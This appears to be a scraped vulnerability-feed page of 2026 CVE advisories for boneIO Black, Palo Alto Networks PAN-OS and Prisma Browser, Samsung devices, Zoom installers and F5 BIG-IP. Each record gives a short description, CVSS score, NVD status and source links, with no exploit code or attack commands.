NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
boneIO Black firmware ships with authentication disabled by default. Its management web API listens on all network interfaces and exposes all endpoints without requiring credentials. An unauthenticated remote attacker can fully control the device, causing denial of service, modifying configuration, and operating connected physical circuits.
This issue was fixed in version 1.6.0: a device without an administrator account refuses API requests until the owner creates one in the first-run wizard, and every API route is restricted to an authenticated role.

Versions before 1.2.0 are based on Debian 10, are no longer supported and cannot be upgraded in place; affected devices should be re-flashed with the 1.6.0 system image.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### boneIO black_debian_images gives the boneio service account excessive privileges, including full passwordless sudo access and membership in the docker group.
https://kevwire.com/record/CVE-2026-77055
boneIO black_debian_images gives the boneio service account excessive privileges, including full passwordless sudo access and membership in the docker group. (Oct 26, 2026).
boneIO black_debian_images gives the boneio service account excessive privileges, including full passwordless sudo access and membership in the docker group. A local attacker who compromises the boneio user can use these privileges to escalate to root.

This issue was fixed in version 1.6.0: the image removes the sudoers rule and the docker group membership when it is sealed, and devices already in the field have both removed by migrations shipped with boneio 1.6.0 and applied on first start after the upgrade. Privileged operations now go through helpers that accept only a fixed set of commands, with migrations verified against Ed25519 signatures.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77055).
Sources:
NVD CVE-2026-77055: https://nvd.nist.gov/vuln/detail/CVE-2026-77055
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
boneIO black_debian_images gives the boneio service account excessive privileges, including full passwordless sudo access and membership in the docker group. A local attacker who compromises the boneio user can use these privileges to escalate to root.

This issue was fixed in version 1.6.0: the image removes the sudoers rule and the docker group membership when it is sealed, and devices already in the field have both removed by migrations shipped with boneio 1.6.0 and applied on first start after the upgrade. Privileged operations now go through helpers that accept only a fixed set of commands, with migrations verified against Ed25519 signatures.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### boneIO Black contains a TOCTOU race condition in the create_timedatectl_sudoers_file() function in boneio/webui/routes/timezone_sudoers.py.
https://kevwire.com/record/CVE-2026-77059
boneIO Black contains a TOCTOU race condition in the create_timedatectl_sudoers_file() function in boneio/webui/routes/timezone_sudoers.py. (Oct 26, 2026).
boneIO Black contains a TOCTOU race condition in the create_timedatectl_sudoers_file() function in boneio/webui/routes/timezone_sudoers.py. The function writes sudoers rules to a predictable temporary file, validates them, then installs them with root privileges. A local attacker can exploit the race window between validation and installation to substitute malicious content, or use the predictable filename for symlink attacks, resulting in arbitrary sudoers rule injection and local privilege escalation to root.

This issue was fixed in version 1.6.0.
CVSS 8.8 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77059).
Sources:
NVD CVE-2026-77059: https://nvd.nist.gov/vuln/detail/CVE-2026-77059
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
boneIO Black contains a TOCTOU race condition in the create_timedatectl_sudoers_file() function in boneio/webui/routes/timezone_sudoers.py. The function writes sudoers rules to a predictable temporary file, validates them, then installs them with root privileges. A local attacker can exploit the race window between validation and installation to substitute malicious content, or use the predictable filename for symlink attacks, resulting in arbitrary sudoers rule injection and local privilege escalation to root.

This issue was fixed in version 1.6.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An improper protection of alternate path vulnerability in Palo Alto Networks Prisma® Browser on macOS fails to properly restrict access to an internal automation bridge.
https://kevwire.com/record/CVE-2026-0237
An improper protection of alternate path vulnerability in Palo Alto Networks Prisma® Browser on macOS fails to properly restrict access to an internal automation bridge. (May 13, 2026).
An improper protection of alternate path vulnerability in Palo Alto Networks Prisma® Browser on macOS fails to properly restrict access to an internal automation bridge. This allows a locally authenticated non-admin user to leverage an exposed communication channel to send unauthorized commands to the browser, bypassing security controls.
CVSS 7.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0237).
Sources:
NVD CVE-2026-0237: https://nvd.nist.gov/vuln/detail/CVE-2026-0237
Vendor advisory (via NVD references): https://security.paloaltonetworks.com/CVE-2026-0237
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
An improper protection of alternate path vulnerability in Palo Alto Networks Prisma® Browser on macOS fails to properly restrict access to an internal automation bridge. This allows a locally authenticated non-admin user to leverage an exposed communication channel to send unauthorized commands to the browser, bypassing security controls.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An arbitrary File Read and Delete Vulnerability in Palo Alto Networks WildFire® WF-500 and WF-500-B appliances enables users to read sensitive information and delete arbitrary...
https://kevwire.com/record/CVE-2026-0259
An arbitrary File Read and Delete Vulnerability in Palo Alto Networks WildFire® WF-500 and WF-500-B appliances enables users to read sensitive information and delete arbitrary... (May 13, 2026).
An arbitrary File Read and Delete Vulnerability in Palo Alto Networks WildFire® WF-500 and WF-500-B appliances enables users to read sensitive information and delete arbitrary files. This vulnerability affects WF-500 and WF-500-B appliances running in the default non-FIPS configuration mode.



The WildFire Appliance (WF-500, WF-500-B) software update is now available to customers that use the WildFire Appliance (WF-500, WF-500-B) for on-premise sandboxing.



Please note that customers using the WildFire Public cloud service are NOT impacted by this vulnerability.
CVSS 5.0 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0259).
Sources:
NVD CVE-2026-0259: https://nvd.nist.gov/vuln/detail/CVE-2026-0259
Vendor advisory (via NVD references): https://security.paloaltonetworks.com/CVE-2026-0259
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
An arbitrary File Read and Delete Vulnerability in Palo Alto Networks WildFire® WF-500 and WF-500-B appliances enables users to read sensitive information and delete arbitrary files. This vulnerability affects WF-500 and WF-500-B appliances running in the default non-FIPS configuration mode.



The WildFire Appliance (WF-500, WF-500-B) software update is now available to customers that use the WildFire Appliance (WF-500, WF-500-B) for on-premise sandboxing.



Please note that customers using the WildFire Public cloud service are NOT impacted by this vulnerability.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Multiple command injection vulnerabilities in Palo Alto Networks PAN-OS® software enable an authenticated administrator to bypass system restrictions and run arbitrary commands as...
https://kevwire.com/record/CVE-2026-0261
Multiple command injection vulnerabilities in Palo Alto Networks PAN-OS® software enable an authenticated administrator to bypass system restrictions and run arbitrary commands as... (May 13, 2026).
Multiple command injection vulnerabilities in Palo Alto Networks PAN-OS® software enable an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS CLI or Web UI.



The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management web interface to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .



This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).



Cloud NGFW and Prisma Access® are not impacted by these vulnerabilities.
CVSS 6.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0261).
Sources:
NVD CVE-2026-0261: https://nvd.nist.gov/vuln/detail/CVE-2026-0261
Vendor advisory (via NVD references): https://security.paloaltonetworks.com/CVE-2026-0261
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Multiple command injection vulnerabilities in Palo Alto Networks PAN-OS® software enable an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS CLI or Web UI.



The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management web interface to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .



This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).



Cloud NGFW and Prisma Access® are not impacted by these vulnerabilities.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Multiple denial of service vulnerabilities in Palo Alto Networks PAN-OS® software allow an unauthenticated attacker with network access to cause a denial of service (DoS)...
https://kevwire.com/record/CVE-2026-0262
Multiple denial of service vulnerabilities in Palo Alto Networks PAN-OS® software allow an unauthenticated attacker with network access to cause a denial of service (DoS)... (May 13, 2026).
Multiple denial of service vulnerabilities in Palo Alto Networks PAN-OS® software allow an unauthenticated attacker with network access to cause a denial of service (DoS) condition by sending specially crafted network traffic. 

Panorama and Cloud NGFW are not impacted by these vulnerabilities.
CVSS 6.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0262).
Sources:
NVD CVE-2026-0262: https://nvd.nist.gov/vuln/detail/CVE-2026-0262
Vendor advisory (via NVD references): https://security.paloaltonetworks.com/CVE-2026-0262
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Multiple denial of service vulnerabilities in Palo Alto Networks PAN-OS® software allow an unauthenticated attacker with network access to cause a denial of service (DoS) condition by sending specially crafted network traffic. 

Panorama and Cloud NGFW are not impacted by these vulnerabilities.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A buffer overflow vulnerability in the IKEv2 processing of Palo Alto Networks PAN-OS® software allows an unauthenticated network-based attacker to execute arbitrary code with...
https://kevwire.com/record/CVE-2026-0263
A buffer overflow vulnerability in the IKEv2 processing of Palo Alto Networks PAN-OS® software allows an unauthenticated network-based attacker to execute arbitrary code with... (May 13, 2026).
A buffer overflow vulnerability in the IKEv2 processing of Palo Alto Networks PAN-OS® software allows an unauthenticated network-based attacker to execute arbitrary code with elevated privileges on the firewall, or cause a denial of service (DoS) condition.


Panorama, Cloud NGFW, and Prisma® Access are not impacted by these vulnerabilities.
CVSS 7.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0263).
Sources:
NVD CVE-2026-0263: https://nvd.nist.gov/vuln/detail/CVE-2026-0263
Vendor advisory (via NVD references): https://security.paloaltonetworks.com/CVE-2026-0263
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
A buffer overflow vulnerability in the IKEv2 processing of Palo Alto Networks PAN-OS® software allows an unauthenticated network-based attacker to execute arbitrary code with elevated privileges on the firewall, or cause a denial of service (DoS) condition.


Panorama, Cloud NGFW, and Prisma® Access are not impacted by these vulnerabilities.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A buffer overflow vulnerability in the DNS proxy and DNS Server features of Palo Alto Networks PAN-OS® Software allows an unauthenticated attacker with network access to cause a...
https://kevwire.com/record/CVE-2026-0264
A buffer overflow vulnerability in the DNS proxy and DNS Server features of Palo Alto Networks PAN-OS® Software allows an unauthenticated attacker with network access to cause a... (May 13, 2026).
A buffer overflow vulnerability in the DNS proxy and DNS Server features of Palo Alto Networks PAN-OS® Software allows an unauthenticated attacker with network access to cause a denial of service (DoS) condition (all PAN-OS platforms except Cloud NGFW and Prisma Access) or potentially execute arbitrary code by sending specially crafted network traffic (PA-Series hardware only).




Panorama, Cloud NGFW, and Prisma® Access are not impacted by this vulnerability.
CVSS 7.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0264).
Sources:
NVD CVE-2026-0264: https://nvd.nist.gov/vuln/detail/CVE-2026-0264
Vendor advisory (via NVD references): https://security.paloaltonetworks.com/CVE-2026-0264
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
A buffer overflow vulnerability in the DNS proxy and DNS Server features of Palo Alto Networks PAN-OS® Software allows an unauthenticated attacker with network access to cause a denial of service (DoS) condition (all PAN-OS platforms except Cloud NGFW and Prisma Access) or potentially execute arbitrary code by sending specially crafted network traffic (PA-Series hardware only).




Panorama, Cloud NGFW, and Prisma® Access are not impacted by this vulnerability.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An authentication bypass vulnerability in Palo Alto Networks PAN-OS® software enables an unauthenticated attacker with network access to bypass authentication controls when Cloud...
https://kevwire.com/record/CVE-2026-0265
An authentication bypass vulnerability in Palo Alto Networks PAN-OS® software enables an unauthenticated attacker with network access to bypass authentication controls when Cloud... (May 13, 2026).
An authentication bypass vulnerability in Palo Alto Networks PAN-OS® software enables an unauthenticated attacker with network access to bypass authentication controls when Cloud Authentication Service (CAS) is enabled.



The risk is higher if CAS is enabled on the management interface and lower when any other login interfaces are used.

The risk of this issue is greatly reduced if you secure access to the management web interface by restricting access to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .

This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).

Cloud NGFW and Prisma Access® are not impacted by this vulnerability.
CVSS 7.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0265).
Sources:
NVD CVE-2026-0265: https://nvd.nist.gov/vuln/detail/CVE-2026-0265
Vendor advisory (via NVD references): https://security.paloaltonetworks.com/CVE-2026-0265
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
An authentication bypass vulnerability in Palo Alto Networks PAN-OS® software enables an unauthenticated attacker with network access to bypass authentication controls when Cloud Authentication Service (CAS) is enabled.



The risk is higher if CAS is enabled on the management interface and lower when any other login interfaces are used.

The risk of this issue is greatly reduced if you secure access to the management web interface by restricting access to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .

This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).

Cloud NGFW and Prisma Access® are not impacted by this vulnerability.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in FacAtFunction in Galaxy Watch prior to SMR May-2026 Release 1 allows local attacker to execute arbitrary code with system privilege.
https://kevwire.com/record/CVE-2026-21019
Improper input validation in FacAtFunction in Galaxy Watch prior to SMR May-2026 Release 1 allows local attacker to execute arbitrary code with system privilege. (May 13, 2026).
Improper input validation in FacAtFunction in Galaxy Watch prior to SMR May-2026 Release 1 allows local attacker to execute arbitrary code with system privilege.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-21019).
Sources:
NVD CVE-2026-21019: https://nvd.nist.gov/vuln/detail/CVE-2026-21019
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Improper input validation in FacAtFunction in Galaxy Watch prior to SMR May-2026 Release 1 allows local attacker to execute arbitrary code with system privilege.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper export of android application components in OmaCP prior to SMR May-2026 Release 1 allows local attackers to trigger privileged functions.
https://kevwire.com/record/CVE-2026-21020
Improper export of android application components in OmaCP prior to SMR May-2026 Release 1 allows local attackers to trigger privileged functions. (May 13, 2026).
Improper export of android application components in OmaCP prior to SMR May-2026 Release 1 allows local attackers to trigger privileged functions.
CVSS 5.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-21020).
Sources:
NVD CVE-2026-21020: https://nvd.nist.gov/vuln/detail/CVE-2026-21020
Vendor advisory (via NVD references): https://security.samsungmobile.com/securityUpdate.smsb?year=2026&month=05
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Improper export of android application components in OmaCP prior to SMR May-2026 Release 1 allows local attackers to trigger privileged functions.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### External Control of File Name or Path in the Zoom Workplace VDI Plugin Windows Universal Installer before version 6.6.11 may allow an authenticated user to conduct an escalation...
https://kevwire.com/record/CVE-2026-30905
External Control of File Name or Path in the Zoom Workplace VDI Plugin Windows Universal Installer before version 6.6.11 may allow an authenticated user to conduct an escalation... (May 13, 2026).
External Control of File Name or Path in the Zoom Workplace VDI Plugin Windows Universal Installer before version 6.6.11 may allow an authenticated user to conduct an escalation of privilege via local access.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-30905).
Sources:
NVD CVE-2026-30905: https://nvd.nist.gov/vuln/detail/CVE-2026-30905
Vendor advisory (via NVD references): https://www.zoom.com/en/trust/security-bulletin/zsb-26007
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
External Control of File Name or Path in the Zoom Workplace VDI Plugin Windows Universal Installer before version 6.6.11 may allow an authenticated user to conduct an escalation of privilege via local access.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted search path in the installer for Zoom Rooms for Windows before version 7.0.0 may allow an authenticated user to enable an escalation of privilege via local access.
https://kevwire.com/record/CVE-2026-30906
Untrusted search path in the installer for Zoom Rooms for Windows before version 7.0.0 may allow an authenticated user to enable an escalation of privilege via local access. (May 13, 2026).
Untrusted search path in the installer for Zoom Rooms for Windows before version 7.0.0 may allow an authenticated user to enable an escalation of privilege via local access.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-30906).
Sources:
NVD CVE-2026-30906: https://nvd.nist.gov/vuln/detail/CVE-2026-30906
Vendor advisory (via NVD references): https://www.zoom.com/en/trust/security-bulletin/zsb-26008
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Untrusted search path in the installer for Zoom Rooms for Windows before version 7.0.0 may allow an authenticated user to enable an escalation of privilege via local access.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When a BIG-IP is configured with DNS caching  (Such as a DNS profile with caching enabled, SSL Orchestrator, Advanced WAF DoS protection), undisclosed traffic can cause the...
https://kevwire.com/record/CVE-2026-39458
When a BIG-IP is configured with DNS caching  (Such as a DNS profile with caching enabled, SSL Orchestrator, Advanced WAF DoS protection), undisclosed traffic can cause the... (May 13, 2026).
When a BIG-IP is configured with DNS caching  (Such as a DNS profile with caching enabled, SSL Orchestrator, Advanced WAF DoS protection), undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-39458).
Sources:
NVD CVE-2026-39458: https://nvd.nist.gov/vuln/detail/CVE-2026-39458
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000160945
